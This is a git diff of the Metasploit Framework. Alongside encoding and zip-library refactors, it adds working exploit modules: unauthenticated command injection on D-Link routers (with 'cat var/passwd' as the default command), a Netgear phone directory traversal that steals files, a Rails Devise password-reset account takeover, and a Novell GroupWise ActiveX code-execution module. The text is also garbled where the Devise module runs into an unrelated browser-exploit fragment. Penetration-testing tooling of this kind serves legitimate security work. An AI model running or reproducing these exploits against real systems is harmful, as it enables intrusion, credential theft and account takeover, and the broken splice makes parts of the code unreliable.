+ end
+ end
+
+ def write_trans(data, offset=0)
+ ack = self.client.trans_named_pipe(self.file_id, data)
+ doff = ack['Payload'].v['DataOffset']
+ dlen = ack['Payload'].v['DataCount']
+ @buff << ack.to_s[4+doff, dlen]
+ end
+end
+end
+end
+end
+end
diff --git a/lib/rex/text.rb b/lib/rex/text.rb
index 37137e7af3..e9a46035ff 100644
--- a/lib/rex/text.rb
+++ b/lib/rex/text.rb
@@ -4,14 +4,15 @@ require 'digest/sha1'
require 'stringio'
require 'cgi'
-begin
- old_verbose = $VERBOSE
- $VERBOSE = nil
- require 'iconv'
- require 'zlib'
-rescue ::LoadError
-ensure
- $VERBOSE = old_verbose
+%W{ iconv zlib }.each do |libname|
+ begin
+ old_verbose = $VERBOSE
+ $VERBOSE = nil
+ require libname
+ rescue ::LoadError
+ ensure
+ $VERBOSE = old_verbose
+ end
end
module Rex
@@ -39,8 +40,8 @@ module Text
UpperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
LowerAlpha = "abcdefghijklmnopqrstuvwxyz"
Numerals = "0123456789"
- Base32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
- Alpha = UpperAlpha + LowerAlpha
+ Base32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
+ Alpha = UpperAlpha + LowerAlpha
AlphaNumeric = Alpha + Numerals
HighAscii = [*(0x80 .. 0xff)].pack("C*")
LowAscii = [*(0x00 .. 0x1f)].pack("C*")
@@ -157,6 +158,12 @@ module Text
# Converts ISO-8859-1 to UTF-8
#
def self.to_utf8(str)
+
+ if str.respond_to?(:encode)
+ # Skip over any bytes that fail to convert to UTF-8
+ return str.encode('utf-8', { :invalid => :replace, :undef => :replace, :replace => '' })
+ end
+
begin
Iconv.iconv("utf-8","iso-8859-1", str).join(" ")
rescue
@@ -307,16 +314,16 @@ module Text
#
# Supported unicode types include: utf-16le, utf16-be, utf32-le, utf32-be, utf-7, and utf-8
#
- # Providing 'mode' provides hints to the actual encoder as to how it should encode the string. Only UTF-7 and UTF-8 use "mode".
+ # Providing 'mode' provides hints to the actual encoder as to how it should encode the string. Only UTF-7 and UTF-8 use "mode".
#
# utf-7 by default does not encode alphanumeric and a few other characters. By specifying the mode of "all", then all of the characters are encoded, not just the non-alphanumeric set.
# to_unicode(str, 'utf-7', 'all')
#
# utf-8 specifies that alphanumeric characters are used directly, eg "a" is just "a". However, there exist 6 different overlong encodings of "a" that are technically not valid, but parse just fine in most utf-8 parsers. (0xC1A1, 0xE081A1, 0xF08081A1, 0xF8808081A1, 0xFC80808081A1, 0xFE8080808081A1). How many bytes to use for the overlong enocding is specified providing 'size'.
- # to_unicode(str, 'utf-8', 'overlong', 2)
+ # to_unicode(str, 'utf-8', 'overlong', 2)
#
- # Many utf-8 parsers also allow invalid overlong encodings, where bits that are unused when encoding a single byte are modified. Many parsers will ignore these bits, rendering simple string matching to be ineffective for dealing with UTF-8 strings. There are many more invalid overlong encodings possible for "a". For example, three encodings are available for an invalid 2 byte encoding of "a". (0xC1E1 0xC161 0xC121). By specifying "invalid", a random invalid encoding is chosen for the given byte size.
- # to_unicode(str, 'utf-8', 'invalid', 2)
+ # Many utf-8 parsers also allow invalid overlong encodings, where bits that are unused when encoding a single byte are modified. Many parsers will ignore these bits, rendering simple string matching to be ineffective for dealing with UTF-8 strings. There are many more invalid overlong encodings possible for "a". For example, three encodings are available for an invalid 2 byte encoding of "a". (0xC1E1 0xC161 0xC121). By specifying "invalid", a random invalid encoding is chosen for the given byte size.
+ # to_unicode(str, 'utf-8', 'invalid', 2)
#
# utf-7 defaults to 'normal' utf-7 encoding
# utf-8 defaults to 2 byte 'normal' encoding
@@ -360,7 +367,7 @@ module Text
string = ''
str.each_byte { |a|
if (a < 21 || a > 0x7f) || mode != ''
- # ugh. turn a single byte into the binary representation of it, in array form
+ # ugh. turn a single byte into the binary representation of it, in array form
bin = [a].pack('C').unpack('B8')[0].split(//)
# even more ugh.
@@ -543,7 +550,7 @@ module Text
when 'u-half'
return str.gsub(all) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms-half'), '%u', 2) }
else
- raise TypeError, 'invalid mode'
+ raise TypeError, "invalid mode #{mode.inspect}"
end
end
@@ -658,6 +665,49 @@ module Text
buf << "\n"
end
+ #
+ # Converts a string a nicely formatted and addressed ex dump
+ #
+ def self.to_addr_hex_dump(str, start_addr=0, width=16)
+ buf = ''
+ idx = 0
+ cnt = 0
+ snl = false
+ lst = 0
+ addr = start_addr
+
+ while (idx < str.length)
+
+ buf << "%08x" % addr
+ buf << " " * 4
+ chunk = str[idx, width]
+ line = chunk.unpack("H*")[0].scan(/../).join(" ")
+ buf << line
+
+ if (lst == 0)
+ lst = line.length
+ buf << " " * 4
+ else
+ buf << " " * ((lst - line.length) + 4).abs
+ end
+
+ chunk.unpack("C*").each do |c|
+ if (c > 0x1f and c < 0x7f)
+ buf << c.chr
+ else
+ buf << "."
+ end
+ end
+
+ buf << "\n"
+
+ idx += width
+ addr += width
+ end
+
+ buf << "\n"
+ end
+
#
# Converts a hex string to a raw string
#
@@ -691,20 +741,20 @@ module Text
# Converts a string to a hex version with wrapping support
#
def self.hexify(str, col = DefaultWrap, line_start = '', line_end = '', buf_start = '', buf_end = '')
- output = buf_start
- cur = 0
- count = 0
+ output = buf_start
+ cur = 0
+ count = 0
new_line = true
# Go through each byte in the string
str.each_byte { |byte|
count += 1
- append = ''
+ append = ''
# If this is a new line, prepend with the
# line start text
if (new_line == true)
- append << line_start
+ append << line_start
new_line = false
end
@@ -716,7 +766,7 @@ module Text
# time to finish up this line
if ((cur + line_end.length >= col) or (cur + buf_end.length >= col))
new_line = true
- cur = 0
+ cur = 0
# If this is the last byte, use the buf_end instead of
# line_end
@@ -1277,7 +1327,7 @@ module Text
else
ret = str
end
- ret
+ ret
end
#
diff --git a/lib/rkelly/visitors/evaluation_visitor.rb b/lib/rkelly/visitors/evaluation_visitor.rb
index 6b98b7b903..c7e3aa9607 100644
--- a/lib/rkelly/visitors/evaluation_visitor.rb
+++ b/lib/rkelly/visitors/evaluation_visitor.rb
@@ -1,3 +1,4 @@
+# -*- coding: binary -*-
module RKelly
module Visitors
class EvaluationVisitor < Visitor
diff --git a/lib/zip/zip.rb b/lib/zip/zip.rb
index bb212f613d..096b3dfca3 100755
--- a/lib/zip/zip.rb
+++ b/lib/zip/zip.rb
@@ -1,6 +1,11 @@
# encoding: ASCII-8BIT
require 'delegate'
-require 'iconv'
+
+begin
+ require 'iconv'
+rescue ::LoadError
+end
+
require 'singleton'
require 'tempfile'
require 'fileutils'
@@ -140,15 +145,13 @@ module Zip
def open_entry
@currentEntry = ZipEntry.read_local_entry(@archiveIO)
if (@currentEntry == nil)
- @decompressor = NullDecompressor.instance
+ @decompressor = NullDecompressor.instance
elsif @currentEntry.compression_method == ZipEntry::STORED
- @decompressor = PassThruDecompressor.new(@archiveIO,
- @currentEntry.size)
+ @decompressor = PassThruDecompressor.new(@archiveIO, @currentEntry.size)
elsif @currentEntry.compression_method == ZipEntry::DEFLATED
- @decompressor = Inflater.new(@archiveIO)
+ @decompressor = Inflater.new(@archiveIO)
else
- raise ZipCompressionMethodError,
- "Unsupported compression method #{@currentEntry.compression_method}"
+ raise ZipCompressionMethodError, "Unsupported compression method #{@currentEntry.compression_method}"
end
flush
return @currentEntry
@@ -184,8 +187,8 @@ module Zip
def sysread(numberOfBytes = nil, buf = nil)
readEverything = (numberOfBytes == nil)
while (readEverything || @outputBuffer.length < numberOfBytes)
- break if internal_input_finished?
- @outputBuffer << internal_produce_input(buf)
+ break if internal_input_finished?
+ @outputBuffer << internal_produce_input(buf)
end
return value_when_finished if @outputBuffer.length==0 && input_finished?
endIndex= numberOfBytes==nil ? @outputBuffer.length : numberOfBytes
@@ -194,9 +197,9 @@ module Zip
def produce_input
if (@outputBuffer.empty?)
- return internal_produce_input
+ return internal_produce_input
else
- return @outputBuffer.slice!(0...(@outputBuffer.length))
+ return @outputBuffer.slice!(0...(@outputBuffer.length))
end
end
@@ -244,14 +247,14 @@ module Zip
# TODO: Specialize to handle different behaviour in ruby > 1.7.0 ?
def sysread(numberOfBytes = nil, buf = nil)
if input_finished?
- hasReturnedEmptyStringVal=@hasReturnedEmptyString
- @hasReturnedEmptyString=true
- return "" unless hasReturnedEmptyStringVal
- return nil
+ hasReturnedEmptyStringVal=@hasReturnedEmptyString
+ @hasReturnedEmptyString=true
+ return "" unless hasReturnedEmptyStringVal
+ return nil
end
if (numberOfBytes == nil || @readSoFar+numberOfBytes > @charsToRead)
- numberOfBytes = @charsToRead-@readSoFar
+ numberOfBytes = @charsToRead-@readSoFar
end
@readSoFar += numberOfBytes
@inputStream.read(numberOfBytes, buf)
@@ -356,14 +359,28 @@ module Zip
(@gp_flags & 0b100000000000) != 0 ? "utf8" : "CP437//"
end
- # Returns the name in the encoding specified by enc
- def name_in(enc)
- Iconv.conv(enc, name_encoding, @name)
+
+ # Converts string encoding
+ def encode_string(str, src, dst)
+ if str.respond_to?(:encode)
+ str.encode(dst, { :invalid => :replace, :undef => :replace, :replace => '' })
+ else
+ begin
+ Iconv.conv(dst, src, str)
+ rescue
+ raise ::RuntimeError, "Your installation does not support iconv (needed for utf8 conversion)"
+ end
+ end
end
# Returns the name in the encoding specified by enc
+ def name_in(enc)
+ encode_string(@name, name_encoding, enc)
+ end
+
+ # Returns the comment in the encoding specified by enc
def comment_in(enc)
- Iconv.conv(enc, name_encoding, @name)
+ encode_string(@comment, name_encoding, enc)
end
def initialize(zipfile = "", name = "", comment = "", extra = "",
@@ -372,7 +389,7 @@ module Zip
time = Time.now)
super()
if name.starts_with("/")
- raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /"
+ raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /"
end
@localHeaderOffset = 0
@local_header_size = 0
@@ -484,9 +501,9 @@ module Zip
onExistsProc ||= proc { false }
if directory?
- create_directory(destPath, &onExistsProc)
+ create_directory(destPath, &onExistsProc)
elsif file?
- write_file(destPath, &onExistsProc)
+ write_file(destPath, &onExistsProc)
elsif symlink?
create_symlink(destPath, &onExistsProc)
else
@@ -520,24 +537,24 @@ module Zip
@localHeaderOffset = io.tell
staticSizedFieldsBuf = io.read(LOCAL_ENTRY_STATIC_HEADER_LENGTH)
unless (staticSizedFieldsBuf.size==LOCAL_ENTRY_STATIC_HEADER_LENGTH)
- raise ZipError, "Premature end of file. Not enough data for zip entry local header"
+ raise ZipError, "Premature end of file. Not enough data for zip entry local header"
end
@header_signature ,
- @version ,
- @fstype ,
- @gp_flags ,
- @compression_method,
- lastModTime ,
- lastModDate ,
- @crc ,
- @compressed_size ,
- @size ,
- nameLength ,
- extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv')
+ @version ,
+ @fstype ,
+ @gp_flags ,
+ @compression_method,
+ lastModTime ,
+ lastModDate ,
+ @crc ,
+ @compressed_size ,
+ @size ,
+ nameLength ,
+ extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv')
unless (@header_signature == LOCAL_ENTRY_SIGNATURE)
- raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
+ raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
end
set_time(lastModDate, lastModTime)
@@ -546,7 +563,7 @@ module Zip
extra = io.read(extraLength)
if (extra && extra.length != extraLength)
- raise ZipError, "Truncated local zip entry header"
+ raise ZipError, "Truncated local zip entry header"
else
if ZipExtraField === @extra
@extra.merge(extra)
@@ -569,17 +586,17 @@ module Zip
@localHeaderOffset = io.tell
io <<
- [LOCAL_ENTRY_SIGNATURE ,
- VERSION_NEEDED_TO_EXTRACT , # version needed to extract
- 0 , # @gp_flags ,
- @compression_method ,
- @time.to_binary_dos_time , # @lastModTime ,
- @time.to_binary_dos_date , # @lastModDate ,
- @crc ,
- @compressed_size ,
- @size ,
- @name ? @name.length : 0,
- @extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv')
+ [LOCAL_ENTRY_SIGNATURE ,
+ VERSION_NEEDED_TO_EXTRACT , # version needed to extract
+ 0 , # @gp_flags ,
+ @compression_method ,
+ @time.to_binary_dos_time , # @lastModTime ,
+ @time.to_binary_dos_date , # @lastModDate ,
+ @crc ,
+ @compressed_size ,
+ @size ,
+ @name ? @name.length : 0,
+ @extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv')
io << @name
io << (@extra ? @extra.to_local_bin : "")
end
@@ -590,33 +607,33 @@ module Zip
def read_c_dir_entry(io) #:nodoc:all
staticSizedFieldsBuf = io.read(CDIR_ENTRY_STATIC_HEADER_LENGTH)
unless (staticSizedFieldsBuf.size == CDIR_ENTRY_STATIC_HEADER_LENGTH)
- raise ZipError, "Premature end of file. Not enough data for zip cdir entry header"
+ raise ZipError, "Premature end of file. Not enough data for zip cdir entry header"
end
@header_signature ,
- @version , # version of encoding software
- @fstype , # filesystem type
- @versionNeededToExtract,
- @gp_flags ,
- @compression_method ,
- lastModTime ,
- lastModDate ,
- @crc ,
- @compressed_size ,
- @size ,
- nameLength ,
- extraLength ,
- commentLength ,
- diskNumberStart ,
- @internalFileAttributes,
- @externalFileAttributes,
- @localHeaderOffset ,
- @name ,
- @extra ,
- @comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV')
+ @version , # version of encoding software
+ @fstype , # filesystem type
+ @versionNeededToExtract,
+ @gp_flags ,
+ @compression_method ,
+ lastModTime ,
+ lastModDate ,
+ @crc ,
+ @compressed_size ,
+ @size ,
+ nameLength ,
+ extraLength ,
+ commentLength ,
+ diskNumberStart ,
+ @internalFileAttributes,
+ @externalFileAttributes,
+ @localHeaderOffset ,
+ @name ,
+ @extra ,
+ @comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV')
unless (@header_signature == CENTRAL_DIRECTORY_ENTRY_SIGNATURE)
- raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
+ raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'"
end
set_time(lastModDate, lastModTime)
@@ -628,7 +645,7 @@ module Zip
end
@comment = io.read(commentLength)
unless (@comment && @comment.length == commentLength)
- raise ZipError, "Truncated cdir zip entry header"
+ raise ZipError, "Truncated cdir zip entry header"
end
case @fstype
diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb
new file mode 100644
index 0000000000..87d1f45192
--- /dev/null
+++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb
@@ -0,0 +1,75 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution',
+ 'Description' => %q{
+ This module exploits an OS Command Injection vulnerability in some D-Link
+ Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in
+ command.php, which is accessible without authentication. This module has been
+ tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
+ In order to get a remote shell the telnetd could be started without any
+ authentication.
+ },
+ 'Author' => [ 'm-1-k-3' ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'OSVDB', '89861' ],
+ [ 'EDB', '24453' ],
+ [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
+ [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
+ [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Feb 04 2013'))
+
+ register_options(
+ [
+ Opt::RPORT(80),
+ OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd'])
+ ], self.class)
+ end
+
+ def run
+ uri = '/command.php'
+
+ print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
+
+ data_cmd = "cmd=#{datastore['CMD']}; echo end"
+
+ begin
+ res = send_request_cgi(
+ {
+ 'uri' => uri,
+ 'method' => 'POST',
+ 'data' => data_cmd
+ })
+ return if res.nil?
+ return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
+ return if res.code == 404
+ rescue ::Rex::ConnectionError
+ vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
+ return
+ end
+
+ if res.body.include?("end")
+ print_good("#{rhost}:#{rport} - Exploited successfully\n")
+ print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
+ print_line("#{rhost}:#{rport} - Output: #{res.body}")
+ else
+ print_error("#{rhost}:#{rport} - Exploit failed.")
+ end
+ end
+end
diff --git a/modules/auxiliary/admin/http/iis_auth_bypass.rb b/modules/auxiliary/admin/http/iis_auth_bypass.rb
index d900abe8e7..0e051223a7 100644
--- a/modules/auxiliary/admin/http/iis_auth_bypass.rb
+++ b/modules/auxiliary/admin/http/iis_auth_bypass.rb
@@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary
res = send_request_cgi({
'uri' => dir,
'method' => 'GET',
- 'basic_auth' => "#{user}:#{pass}"
+ 'authorization' => basic_auth(user,pass)
})
vprint_status(res.body) if res
diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb
index 12934c9a0e..fb32e1f41c 100644
--- a/modules/auxiliary/admin/http/intersil_pass_reset.rb
+++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb
@@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary
res = send_request_cgi({
'uri'=> uri,
'method'=>'GET',
- 'basic_auth' => "#{Rex::Text.rand_text_alpha(127)}:#{datastore['PASSWORD']}"
+ 'authorization' => basic_auth(Rex::Text.rand_text_alpha(127),datastore['PASSWORD'])
})
if res.nil?
@@ -94,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary
res = send_request_cgi({
'uri' => uri,
'method'=> 'GET',
- 'basic_auth' => "admin:#{datastore['PASSWORD']}"
+ 'authorization' => basic_auth('admin', datastore['PASSWORD'])
})
if not res
diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb
index ea37ca8e21..2adf4bb5e8 100644
--- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb
+++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb
@@ -20,13 +20,12 @@ class Metasploit3 < Msf::Auxiliary
of the application.
Default credentials are always a good starting point. admin/admin or admin
and blank password could be a first try.
- Note: This is a blind os command injection vulnerability. This means that
+ Note: This is a blind OS command injection vulnerability. This means that
you will not see any output of your command. Try a ping command to your
- local system for a first test.
+ local system and observe the packets with tcpdump (or equivalent) for a first test.
Hint: To get a remote shell you could upload a netcat binary and exec it.
- WARNING: Backup your network and dhcp configuration. We will overwrite it!
- Have phun
+ WARNING: this module will overwrite network and DHCP configuration.
},
'Author' => [ 'm-1-k-3' ],
'License' => MSF_LICENSE,
@@ -50,13 +49,23 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('PASSWORD',[ false, 'Password to login with', 'password']),
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),
OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),
- OptAddress.new('LANIP', [ false, 'LAN IP address of the router - CHANGE THIS', '1.1.1.1']),
+ OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']),
OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),
OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])
], self.class)
end
+ # If the user configured LANIP, use it. Otherwise, use RHOST.
+ # NB: This presumes a dotted quad ip address.
+ def lan_ip
+ if datastore['LANIP'].to_s.empty?
+ datastore['RHOST']
+ else
+ datastore['LANIP']
+ end
+ end
+
def run
#setting up some basic variables
uri = datastore['TARGETURI']
@@ -67,13 +76,7 @@ class Metasploit3 < Msf::Auxiliary
wandomain = datastore['WAN_DOMAIN']
wanmtu = datastore['WAN_MTU']
- if datastore['LANIP'] !~ /1.1.1.1/
- #there is a configuration from the user so we use LANIP for the router configuration
- ip = datastore['LANIP'].split('.')
- else
- #no configuration from user so we use RHOST for the router configuration
- ip = rhost.split('.')
- end
+ ip = lan_ip.split('.')
if datastore['PASSWORD'].nil?
pass = ""
@@ -87,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
- 'basic_auth' => "#{user}:#{pass}"
+ 'authorization' => basic_auth(user,pass)
})
unless (res.kind_of? Rex::Proto::Http::Response)
@@ -133,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
- 'basic_auth' => "#{pass}:#{pass}",
+ 'authorization' => basic_auth(user,pass),
#'data' => data_cmd,
'vars_post' => {
diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb
new file mode 100644
index 0000000000..909afe5443
--- /dev/null
+++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb
@@ -0,0 +1,121 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'Netgear SPH200D Directory Traversal Vulnerability',
+ 'Description' => %q{
+ This module exploits a directory traversal vulnerablity which is present in
+ Netgear SPH200D Skype telephone.
+ },
+ 'References' =>
+ [
+ [ 'BID', '57660' ],
+ [ 'EDB', '24441' ],
+ [ 'URL', 'http://support.netgear.com/product/SPH200D' ],
+ [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ]
+ ],
+ 'Author' => [ 'm-1-k-3' ],
+ 'License' => MSF_LICENSE
+ )
+ register_options(
+ [
+ Opt::RPORT(80),
+ OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line",
+ File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]),
+ OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
+ OptString.new('PASSWORD',[ true, 'Password to login with', 'password'])
+ ], self.class)
+ end
+
+ def extract_words(wordfile)
+ return [] unless wordfile && File.readable?(wordfile)
+ begin
+ words = File.open(wordfile, "rb") do |f|
+ f.read
+ end
+ rescue
+ return []
+ end
+ save_array = words.split(/\r?\n/)
+ return save_array
+ end
+
+ #traversal every file
+ def find_files(file,user,pass)
+ traversal = '/../../'
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(traversal, file),
+ 'authorization' => basic_auth(user,pass)
+ })
+
+ if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/
+ print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
+ report_web_vuln({
+ :host => rhost,
+ :port => rport,
+ :vhost => datastore['VHOST'],
+ :path => "/",
+ :pname => normalize_uri(traversal, file),
+ :risk => 3,
+ :proof => normalize_uri(traversal, file),
+ :name => self.fullname,
+ :category => "web",
+ :method => "GET"
+ })
+
+ loot = store_loot("lfi.data","text/plain",rhost, res.body,file)
+ vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
+ elsif res and res.code
+ vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}")
+ end
+ end
+
+ def run_host(ip)
+ user = datastore['USERNAME']
+ pass = datastore['PASSWORD']
+
+ vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
+
+ #test login
+ begin
+ res = send_request_cgi({
+ 'uri' => '/',
+ 'method' => 'GET',
+ 'authorization' => basic_auth(user,pass)
+ })
+
+ return :abort if res.nil?
+ return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/)
+ return :abort if (res.code == 404)
+
+ if [200, 301, 302].include?(res.code)
+ vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
+ else
+ vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
+ return :abort
+ end
+
+ rescue ::Rex::ConnectionError
+ vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
+ return :abort
+ end
+
+ extract_words(datastore['FILELIST']).each do |file|
+ find_files(file,user,pass) unless file.empty?
+ end
+ end
+end
diff --git a/modules/auxiliary/admin/http/rails_devise_pass_reset.rb b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb
new file mode 100644
index 0000000000..e301b59c2b
--- /dev/null
+++ b/modules/auxiliary/admin/http/rails_devise_pass_reset.rb
@@ -0,0 +1,167 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'rexml/element'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Ruby on Rails Devise Authentication Password Reset',
+ 'Description' => %q{
+ The Devise authentication gem for Ruby on Rails is vulnerable
+ to a password reset exploit leveraging type confusion. By submitting XML
+ to rails, we can influence the type used for the reset_password_token
+ parameter. This allows for resetting passwords of arbitrary accounts,
+ knowing only the associated email address.
+
+ This module defaults to the most common devise URIs and response values,
+ but these may require adjustment for implementations which customize them.
+
+ Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database
+ except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4 on Rails
+ 3.2.11. Patch applied to Rails 3.2.12 and 3.1.11 should prevent exploitation
+ of this vulnerability, by quoting numeric values when comparing them with
+ non numeric values.
+ },
+ 'Author' =>
+ [
+ 'joernchen', #original discovery and disclosure
+ 'jjarmoc' #metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2013-0233'],
+ [ 'OSVDB', '89642' ],
+ [ 'BID', '57577' ],
+ [ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'],
+ [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'],
+ [ 'URL', 'https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8' ],
+ [ 'URL', 'https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8']
+ ],
+ 'DisclosureDate' => 'Jan 28 2013'
+ ))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']),
+ OptString.new('TARGETEMAIL', [true, 'The email address of target account']),
+ OptString.new('PASSWORD', [true, 'The password to set']),
+ OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]),
+ OptInt.new('MAXINT', [true, 'Max integer to try (tokens begining with a higher int will fail)', 10])
+ ], self.class)
+ end
+
+ def generate_token(account)
+ # CSRF token from GET "/users/password/new" isn't actually validated it seems.
+
+ postdata="user[email]=#{account}"
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(datastore['TARGETURI']),
+ 'method' => 'POST',
+ 'data' => postdata,
+ })
+
+ unless res
+ print_error("No response from server")
+ return false
+ end
+
+ if res.code == 200
+ error_text = res.body[/+ + + | + + return html + end + + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + html = get_exploit(my_target, cli) + html = html.gsub(/^\t\t/, '') + print_status "Sending HTML..." + send_response(cli, html, {'Content-Type'=>'text/html'}) + + end + +end + diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb new file mode 100644 index 0000000000..1b6971b5c2 --- /dev/null +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -0,0 +1,320 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "9.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => NormalRanking, + :classid => "{601D7813-408F-11D1-98D7-444553540000}", + :method => "SetEngine" + }) + + + def initialize(info={}) + super(update_info(info, + 'Name' => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll + ActiveX. Several methods in the GWCalServer control use user provided data as + a pointer, which allows to read arbitrary memory and execute arbitrary code. This + module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The + JRE6 needs to be installed to achieve ASLR bypass. + 